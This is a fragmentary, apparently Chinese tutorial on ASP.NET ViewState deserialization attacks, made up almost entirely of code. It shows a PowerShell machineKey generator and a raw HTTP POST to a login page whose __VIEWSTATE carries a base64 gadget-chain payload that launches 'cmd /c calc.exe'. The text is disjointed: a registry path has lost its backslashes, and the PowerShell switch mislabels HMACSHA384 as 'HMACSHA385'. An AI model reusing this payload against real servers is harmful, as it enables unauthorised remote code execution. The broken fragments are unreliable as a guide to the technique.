利用ViewState在ASP.NET中实现反序列化RCE

<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="..."/>

HKEY_LOCAL_MACHINESOFTWAREMicrosoft.NETFrameworkv{VersionHere}

# 生成一个可复制并粘贴到 Web.config 文件中的 <machineKey> 元素。
function Generate-MachineKey {
[CmdletBinding()]
param (
[ValidateSet("AES", "DES", "3DES")]
[string]$decryptionAlgorithm = 'AES',
[ValidateSet("MD5", "SHA1", "HMACSHA256", "HMACSHA384", "HMACSHA512")]
[string]$validationAlgorithm = 'HMACSHA256'
 )
process {
function BinaryToHex {
[CmdLetBinding()]
param($bytes)
process {
$builder = new-object System.Text.StringBuilder
foreach ($b in $bytes) {
$builder = $builder.AppendFormat([System.Globalization.CultureInfo]::InvariantCulture, "{0:X2}", $b)
           }
$builder
       }
   }
switch ($decryptionAlgorithm) {
"AES" { $decryptionObject = new-object System.Security.Cryptography.AesCryptoServiceProvider }
"DES" { $decryptionObject = new-object System.Security.Cryptography.DESCryptoServiceProvider }
"3DES" { $decryptionObject = new-object System.Security.Cryptography.TripleDESCryptoServiceProvider }
   }
$decryptionObject.GenerateKey()
$decryptionKey = BinaryToHex($decryptionObject.Key)
$decryptionObject.Dispose()
switch ($validationAlgorithm) {
"MD5" { $validationObject = new-object System.Security.Cryptography.HMACMD5 }
"SHA1" { $validationObject = new-object System.Security.Cryptography.HMACSHA1 }
"HMACSHA256" { $validationObject = new-object System.Security.Cryptography.HMACSHA256 }
"HMACSHA385" { $validationObject = new-object System.Security.Cryptography.HMACSHA384 }
"HMACSHA512" { $validationObject = new-object System.Security.Cryptography.HMACSHA512 }
   }
$validationKey = BinaryToHex($validationObject.Key)
$validationObject.Dispose()
[string]::Format([System.Globalization.CultureInfo]::InvariantCulture,
"<machineKey decryption=`"{0}`" decryptionKey=`"{1}`" validation=`"{2}`" validationKey=`"{3}`" />",
$decryptionAlgorithm.ToUpperInvariant(), $decryptionKey,
$validationAlgorithm.ToUpperInvariant(), $validationKey)
 }
}

POST /Login.aspx?ReturnUrl=%2f HTTP/1.1
Host: xxx
Content-Length: 1588
Cache-Control: max-age=0
Origin: http://xxx
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://xxx/Login.aspx?ReturnUrl=%2f
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: security_level=2; PHPSESSID=xxx ASP.NET_SessionId=xxx
Connection: close
__VIEWSTATE=%2fwEylAcAAQAAAP%2f%2f%2f%2f8BAAAAAAAAAAwCAAAA
Xk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCB
DdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRl
MzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGlu
Zy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRC
cnVzaAECAAAABgMAAAC2BTw%2feG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9
InV0Zi04Ij8%2bDQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YX
J0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2
NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXR
pb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczth
c3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29
mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5
PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm
9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQ
XJndW1lbnRzPSIvYyBjYWxjLmV4ZSIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ
7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZ
XJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyU
HJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8%2bDQogICAgICA8L3NkOl
Byb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmpl
Y3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U%2bDQo8L09iamVjdERhdG
FQcm92aWRlcj4LEcCGCz27e3N%2f4WY%2fLsQUUYBCLnjAEyZ62Hu%2fUfd4Ic
3kJpTpiyBNbA%3d%3d&__VIEWSTATEGENERATOR=C2EE9ABB&__EVENTVAL
IDATION=%2FwEdAAW0o5oWyd3%2BUXUl0wlU4h6eozoJZpuXxkpOVJKRbHyu
HkPTPkdPWl%2B8YN2NtDCtxiehEKvuPXQE3IwHHll3A7iHzfg78Z8BXhXifTCAVk
evd%2BckSYc1N1fMSrOnXZTsvUI%2F%2Ff5l5yM0bdtmu8knvjNQ&txtName=a&t
xtPass=a&Button1=%E7%99%BB%E5%BD%95